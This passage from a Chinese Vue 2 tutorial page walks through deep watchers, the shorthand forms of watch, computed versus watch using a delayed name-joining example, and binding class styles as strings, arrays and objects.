class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span><br><span class="hljs-comment">&lt;!-- 准备好一个容器 --&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h3</span>&gt;</span>a 的值是 &#123;&#123;numbers.a&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">h3</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">&quot;numbers.a++&quot;</span>&gt;</span>点我 a++<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">hr</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h3</span>&gt;</span>b1 的值是 &#123;&#123;numbers.b.b1&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">h3</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">&quot;numbers.b.b1++&quot;</span>&gt;</span>点我 b1++<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">hr</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h3</span>&gt;</span>b2 的值是 &#123;&#123;numbers.b.b2&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">h3</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">&quot;numbers.b.b2++&quot;</span>&gt;</span>点我 b2++<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br><br><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 设置为 false 以阻止 vue 在启动时生成生产提示。</span></span><br><span class="javascript">    Vue.config.productionTip = <span class="hljs-literal">false</span>;</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 创建 Vue 实例</span></span><br><span class="javascript">    <span class="hljs-keyword">const</span> vm = <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">        <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root&#x27;</span>,</span><br><span class="javascript">        <span class="hljs-attr">data</span>: &#123;</span><br><span class="javascript">            <span class="hljs-attr">numbers</span>: &#123;</span><br><span class="javascript">                <span class="hljs-attr">a</span>: <span class="hljs-number">1</span>,</span><br><span class="javascript">                <span class="hljs-attr">b</span>: &#123;</span><br><span class="javascript">                    <span class="hljs-attr">b1</span>: <span class="hljs-number">2</span>,</span><br><span class="javascript">                    <span class="hljs-attr">b2</span>: <span class="hljs-number">3</span></span><br><span class="javascript">                &#125;</span><br><span class="javascript">            &#125;</span><br><span class="javascript">        &#125;,</span><br><span class="javascript">        <span class="hljs-attr">watch</span>: &#123;</span><br><span class="javascript">            <span class="hljs-comment">// 监视多级结构中某个属性的变化</span></span><br><span class="javascript">            <span class="hljs-comment">/*&#x27;numbers.a&#x27;: &#123;</span></span><br><span class="hljs-comment"><span class="javascript">                handler(newValue, oldValue) &#123;</span></span><br><span class="hljs-comment"><span class="javascript">                    console.log(&quot;newValue：&quot;+newValue, &quot;oldValue：&quot;+oldValue)</span></span><br><span class="hljs-comment"><span class="javascript">                &#125;</span></span><br><span class="hljs-comment"><span class="javascript">            &#125;,*/</span></span><br><span class="javascript">            <span class="hljs-comment">// 监视多级结构中所有属性的变化</span></span><br><span class="javascript">            <span class="hljs-attr">numbers</span>: &#123;</span><br><span class="javascript">                <span class="hljs-comment">// 默认不监测对象内部指的改变，配置 deep: true 可以监测对象内部值的改变</span></span><br><span class="javascript">                <span class="hljs-attr">deep</span>: <span class="hljs-literal">true</span>,</span><br><span class="javascript">                <span class="hljs-function"><span class="hljs-title">handler</span>(<span class="hljs-params"></span>)</span> &#123;</span><br><span class="javascript">                    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">&quot;numbers 中的值发生了变化&quot;</span>)</span><br><span class="javascript">                &#125;</span><br><span class="javascript">            &#125;</span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;);</span><br><span class="javascript"></span><br><span class="javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br><br><span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210801/image.71wbx2l1amw0.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<blockquote>
<p>总结：</p>
<ol>
<li>深度监视：<ul>
<li>Vue 中的 <code>watch</code> 默认是不监测对象内部值的改变的（只监测一层）。</li>
<li>配置 <code>deep: true</code> 后可以监测对象内部的值的改变（监测多层）。</li>
</ul>
</li>
<li>备注：<ul>
<li>Vue 自身是<code>可以监测对象内部值的变化</code>的，但是 <code>Vue 提供的 watch 默认是不可以</code>的。</li>
<li>使用 watch 时可以根据数据的具体结构，决定是否采用深度监视</li>
</ul>
</li>
</ol>
</blockquote>
<h3 id="9-4-监视的简写形式"><a href="#9-4-监视的简写形式" class="headerlink" title="9.4 监视的简写形式"></a>9.4 监视的简写形式</h3><p>简写形式一</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs javascript">watch: &#123;<br>    <span class="hljs-comment">// 监视属性的简写形式</span><br>    <span class="hljs-function"><span class="hljs-title">isHot</span>(<span class="hljs-params">newValue, oldValue</span>)</span> &#123;<br>        <span class="hljs-built_in">console</span>.log(<span class="hljs-string">&quot;newValue：&quot;</span>+newValue, <span class="hljs-string">&quot;oldValue：&quot;</span>+oldValue)<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure>

<p>简写形式二</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-comment">// 监视属性的简写形式</span><br>vm.$watch(<span class="hljs-string">&#x27;isHot&#x27;</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">newValue, oldValue</span>) </span>&#123;<br>    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">&quot;newValue：&quot;</span>+newValue, <span class="hljs-string">&quot;oldValue：&quot;</span>+oldValue)<br>&#125;)<br></code></pre></td></tr></table></figure>

<p>简写形式付出的代价：不能再设置其他属性，如：<code>immediate: true</code> 、<code>deep: true</code></p>
<h3 id="9-5-computed-和-watch-之间的区别"><a href="#9-5-computed-和-watch-之间的区别" class="headerlink" title="9.5 computed 和 watch 之间的区别"></a>9.5 computed 和 watch 之间的区别</h3><p><strong>使用 watch 来实现之前的姓名案例</strong></p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">&quot;UTF-8&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 引入 Vue --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span> <span class="hljs-attr">src</span>=<span class="hljs-string">&quot;../js/vue.js&quot;</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span><br><span class="hljs-comment">&lt;!-- 准备好一个容器 --&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>    姓：<span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text&quot;</span> <span class="hljs-attr">v-model</span>=<span class="hljs-string">&quot;firstName&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><br>    名：<span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text&quot;</span> <span class="hljs-attr">v-model</span>=<span class="hljs-string">&quot;lastName&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><br>    姓名：<span class="hljs-tag">&lt;<span class="hljs-name">span</span>&gt;</span>&#123;&#123;fullName&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">span</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br><br><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 设置为 false 以阻止 vue 在启动时生成生产提示。</span></span><br><span class="javascript">    Vue.config.productionTip = <span class="hljs-literal">false</span>;</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 创建 Vue 实例</span></span><br><span class="javascript">    <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">        <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root&#x27;</span>,</span><br><span class="javascript">        <span class="hljs-attr">data</span>: &#123;</span><br><span class="javascript">            <span class="hljs-attr">firstName</span>: <span class="hljs-string">&quot;张&quot;</span>,</span><br><span class="javascript">            <span class="hljs-attr">lastName</span>: <span class="hljs-string">&quot;三&quot;</span>,</span><br><span class="javascript">            <span class="hljs-attr">fullName</span>: <span class="hljs-string">&quot;张-三&quot;</span></span><br><span class="javascript">        &#125;,</span><br><span class="javascript">        <span class="hljs-attr">watch</span>: &#123;</span><br><span class="javascript">            <span class="hljs-function"><span class="hljs-title">firstName</span>(<span class="hljs-params">value</span>)</span> &#123;</span><br><span class="javascript">                <span class="hljs-built_in">this</span>.fullName = value.slice(<span class="hljs-number">0</span>, <span class="hljs-number">2</span>) + <span class="hljs-string">&quot;-&quot;</span> + <span class="hljs-built_in">this</span>.lastName;</span><br><span class="javascript">            &#125;,</span><br><span class="javascript">            <span class="hljs-attr">lastName</span>: &#123;</span><br><span class="javascript">                <span class="hljs-attr">handler</span>: <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">value</span>) </span>&#123;</span><br><span class="javascript">                    <span class="hljs-built_in">this</span>.fullName = <span class="hljs-built_in">this</span>.firstName + <span class="hljs-string">&quot;-&quot;</span> + value.slice(<span class="hljs-number">0</span>, <span class="hljs-number">4</span>);</span><br><span class="javascript">                &#125;</span><br><span class="javascript">            &#125;</span><br><span class="javascript"></span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;);</span><br><span class="javascript"></span><br><span class="javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br><br><span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p>我们发现，需要监视两个属性，并在连个属性发生改变时作出响应，对比计算属性，可以说是复杂了很多。</p>
<p>但是监视属性在一些需求上是是要比计算属性厉害的，比如我现在需要在数据改变一秒后再更新 fullName 的值，此时 <code>watch</code> 可以做到， <code>computed</code> 就不能做到了。</p>
<p>使用 computed</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs javascript">computed: &#123;<br>    <span class="hljs-function"><span class="hljs-title">fullName</span>(<span class="hljs-params"></span>)</span> &#123;<br>        <span class="hljs-built_in">setTimeout</span>(<span class="hljs-function">() =&gt;</span> &#123;<br>            <span class="hljs-keyword">return</span> <span class="hljs-built_in">this</span>.firstName.slice(<span class="hljs-number">0</span>, <span class="hljs-number">2</span>) + <span class="hljs-string">&#x27;-&#x27;</span> + <span class="hljs-built_in">this</span>.lastName.slice(<span class="hljs-number">0</span>, <span class="hljs-number">4</span>);<br>        &#125;, <span class="hljs-number">1000</span>)<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure>

<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210801/image.rc9ftv3mlds.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<p>使用 watch 实现</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-comment">// 注意此时 setTimeout 函数方法中的函数一定要写成箭头函数，这样当前函数中没有 this 才会向外找找到 vm 对象，否则使用普通函数 this 就是 window 了 </span><br><span class="hljs-attr">watch</span>: &#123;<br>     <span class="hljs-function"><span class="hljs-title">firstName</span>(<span class="hljs-params">value</span>)</span> &#123;<br>         <span class="hljs-built_in">setTimeout</span>(<span class="hljs-function">() =&gt;</span> &#123;<br>             <span class="hljs-built_in">this</span>.fullName = value.slice(<span class="hljs-number">0</span>, <span class="hljs-number">2</span>) + <span class="hljs-string">&quot;-&quot;</span> + <span class="hljs-built_in">this</span>.lastName;<br>         &#125;, <span class="hljs-number">1000</span>)<br>     &#125;,<br>         <span class="hljs-function"><span class="hljs-title">lastName</span>(<span class="hljs-params">value</span>)</span> &#123;<br>             <span class="hljs-built_in">setTimeout</span>(<span class="hljs-function">() =&gt;</span> &#123;<br>                 <span class="hljs-built_in">this</span>.fullName = <span class="hljs-built_in">this</span>.firstName + <span class="hljs-string">&quot;-&quot;</span> + value.slice(<span class="hljs-number">0</span>, <span class="hljs-number">4</span>);<br>             &#125;, <span class="hljs-number">1000</span>);<br>         &#125;<br> &#125;<br></code></pre></td></tr></table></figure>

<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210801/image.5ukyfsz57vk0.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<blockquote>
<p>总结：</p>
<ol>
<li><code>computed</code> 和 <code>watch</code> 之间的区别：<ul>
<li>computed 能完成的功能，watch 都可以完成。</li>
<li>watch 能完成的功能，computed 不一定能够完成，例如：watch 可以进行异步操作。</li>
</ul>
</li>
<li>两个重要的小原则：<ul>
<li>被 Vue 所管理的函数，最好都写成普通函数，这样 this 指向的才是 vm 实例或者 组件实例对象。</li>
<li>所有不被 Vue 管理的函数（如定时器的回调函数、ajax的回调函数、Promise的回调函数等），都做好写成箭头函数，这样 this 的指向才会是 vm 实例或 组件实例对象。</li>
</ul>
</li>
</ol>
</blockquote>
<h2 id="10-绑定样式"><a href="#10-绑定样式" class="headerlink" title="10.绑定样式"></a>10.绑定样式</h2><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">&quot;UTF-8&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>绑定样式<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 样式 --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">style</span>&gt;</span><span class="css"></span><br><span class="css">        <span class="hljs-selector-class">.basic</span>&#123;</span><br><span class="css">            <span class="hljs-attribute">width</span>: <span class="hljs-number">400px</span>;</span><br><span class="css">            <span class="hljs-attribute">height</span>: <span class="hljs-number">100px</span>;</span><br><span class="css">            <span class="hljs-attribute">border</span>: <span class="hljs-number">1px</span> solid black;</span><br><span class="css">        &#125;</span><br><span class="css"></span><br><span class="css">        <span class="hljs-selector-class">.happy</span>&#123;</span><br><span class="css">            <span class="hljs-attribute">border</span>: <span class="hljs-number">4px</span> solid red;;</span><br><span class="css">            <span class="hljs-attribute">background</span>: <span class="hljs-built_in">rgba</span>(<span class="hljs-number">255</span>, <span class="hljs-number">255</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0.644</span>) <span class="hljs-built_in">linear-gradient</span>(<span class="hljs-number">30deg</span>, yellow, pink, orange, yellow);</span><br><span class="css">        &#125;</span><br><span class="css">        <span class="hljs-selector-class">.sad</span>&#123;</span><br><span class="css">            <span class="hljs-attribute">border</span>: <span class="hljs-number">4px</span> dashed <span class="hljs-built_in">rgb</span>(<span class="hljs-number">2</span>, <span class="hljs-number">197</span>, <span class="hljs-number">2</span>);</span><br><span class="css">            <span class="hljs-attribute">background-color</span>: gray;</span><br><span class="css">        &#125;</span><br><span class="css">        <span class="hljs-selector-class">.normal</span>&#123;</span><br><span class="css">            <span class="hljs-attribute">background-color</span>: skyblue;</span><br><span class="css">        &#125;</span><br><span class="css"></span><br><span class="css">        <span class="hljs-selector-class">.atguigu1</span>&#123;</span><br><span class="css">            <span class="hljs-attribute">background-color</span>: yellowgreen;</span><br><span class="css">        &#125;</span><br><span class="css"></span><br><span class="css">        <span class="hljs-selector-class">.atguigu2</span>&#123;</span><br><span class="css">            <span class="hljs-attribute">font-size</span>: <span class="hljs-number">30px</span>;</span><br><span class="css">            <span class="hljs-attribute">text-shadow</span>:<span class="hljs-number">2px</span> <span class="hljs-number">2px</span> <span class="hljs-number">10px</span> red;</span><br><span class="css">        &#125;</span><br><span class="css"></span><br><span class="css">        <span class="hljs-selector-class">.atguigu3</span>&#123;</span><br><span class="css">            <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">20px</span>;</span><br><span class="css">        &#125;</span><br><span class="css">    </span><span class="hljs-tag">&lt;/<span class="hljs-name">style</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 引入 Vue --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span> <span class="hljs-attr">src</span>=<span class="hljs-string">&quot;../js/vue.js&quot;</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span><br><span class="hljs-comment">&lt;!-- 准备好一个容器 --&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 绑定动态的 class 样式（字符串写法），适用于：样式的类名不确定，需要动态指定 --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">&quot;basic&quot;</span> <span class="hljs-attr">:class</span>=<span class="hljs-string">&quot;mood&quot;</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">&quot;changeMood&quot;</span>&gt;</span>class字符串写法&#123;&#123;name&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 随机变换 class --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">&quot;basic&quot;</span> <span class="hljs-attr">:class</span>=<span class="hljs-string">&quot;mood&quot;</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">&quot;randomChangeMood&quot;</span>&gt;</span>class字符串写法，随机切换class，&#123;&#123;name&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 绑定动态的 class 样式（数组写法），适用于：要绑定的样式个数不确定，名字也不确定 --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">&quot;basic&quot;</span> <span class="hljs-attr">:class</span>=<span class="hljs-string">&quot;classArr&quot;</span>&gt;</span>class数组写法&#123;&#123;name&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 绑定动态的 class 样式（对象写法），适用于：要绑定的样式个数确定，名字确定，但是要动态确定用不用 --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">&quot;basic&quot;</span> <span class="hljs-attr">:class</span>=<span class="hljs-string">&quot;classObj&quot;</span>&gt;</span>class对象写法&#123;&#123;name&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br><br><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br><br><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 设置为 false 以阻止 vue 在启动时生成生产提示。</span></span><br><span class="javascript">    Vue.config.productionTip = <span class="hljs-literal">false</span>;</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 创建 Vue 实例</span></span><br><span class="javascript">    <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">        <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root&#x27;</span>,</span><br><span class="javascript">        <span class="hljs-attr">data</span>: &#123;</span><br><span class="javascript">            <span class="hljs-attr">name</span>: <span class="hljs-string">&#x27;尚硅谷&#x27;</span>,</span><br><span class="javascript">            <span class="hljs-attr">mood</span>: <span class="hljs-string">&#x27;normal&#x27;</span>,</span><br><span class="javascript">            <span class="hljs-attr">classArr</span>: [<span class="hljs-string">&#x27;atguigu1&#x27;</span>, <span class="hljs-string">&#x27;atguigu2&#x27;</span>, <span class="hljs-string">&#x27;atguigu3&#x27;</span>],</span><br><span class="javascript">            <span class="hljs-attr">classObj</span>: &#123;</span><br><span class="javascript">                <span class="hljs-attr">atguigu1</span>: <span class="hljs-literal">true</span>,</span><br><span class="javascript">                <span class="hljs-attr">atguigu2</span>: <span class="hljs-literal">true</span>,</span><br><span class="javascript">                <span class="hljs-attr">atguigu3</span>: <span class="hljs-literal">false</span></span><br><span class="javascript">            &#125;</span><br><span class="javascript">        &#125;,</span><br><span class="javascript">        <span class="hljs-attr">methods</span>: &#123;</span><br><span class="javascript">            <span class="hljs-function"><span class="hljs-title">changeMood</span>(<span class="hljs-params"></span>)</span> &#123;</span><br><span class="javascript">                <span class="hljs-built_in">this</span>.mood = <span class="hljs-string">&#x27;happy&#x27;</span>;</span><br><span class="javascript">            &#125;,</span><br><span class="javascript">            <span class="hljs-attr">randomChangeMood</span>: <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) </span>&#123;</span><br><span class="javascript">                <span class="hljs-keyword">const</span> arr = [<span class="hljs-string">&#x27;happy&#x27;</span>, <span class="hljs-string">&#x27;sad&#x27;</span>, <span class="hljs-string">&#x27;normal&#x27;</span>];</span><br><span class="javascript">                <span class="hljs-keyword">const</span> index = <span class="hljs-built_in">Math</span>.floor(<span class="hljs-built_in">Math</span>.random() * <span class="hljs-number">3</span>);</span><br><span class="javascript">                <span class="hljs-built_in">this</span>.mood = arr[index];</span><br><span class="javascript">            &#125;</span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;);</span><br><span class="javascript"></span><br><span class="javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br><br><span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span><br></code></pre></td></tr></table></figure>

<blockquote>
<p>总结样式绑定（class 样式）：</p>
<ol>
<li>写法：<code>:class=&#39;xxx&#39;</code>，xxx 可以是字符串、对象、数组。</li>
<li>字符串写法适用于：类名不确定，要动态获取。</li>
<li>对象写法适用于：要绑定多个样式，个数不确定，样式名也不确定。</li>
<li>数组写法适用于：要绑定多个样式，个数确定，名字确定，但是不确定用不用。</li>
</ol>
</blockquote>
